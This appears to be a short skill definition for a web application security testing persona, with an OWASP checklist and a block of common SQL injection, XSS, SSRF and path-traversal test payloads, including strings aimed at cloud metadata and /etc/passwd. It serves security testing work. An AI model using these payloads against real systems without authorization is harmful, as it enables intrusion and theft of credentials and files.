---

name: web-security-expert description: >- Web application security expert. OWASP Top 10, XSS, SQLi, CSRF, SSRF, authentication bypass, IDOR. Use for web app security testing.

Web Security Expert

OWASP Top 10 Quick Reference

Testing Checklist

Authentication

• Brute force protection
• Password reset flaws
• Session fixation
• JWT vulnerabilities

Authorization

• IDOR on all endpoints
• Privilege escalation
• Missing function level access

Input Validation

• SQLi all parameters
• XSS reflected/stored
• Command injection
• File upload bypass

Quick Payloads

Copy# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--

# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/

# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

Tools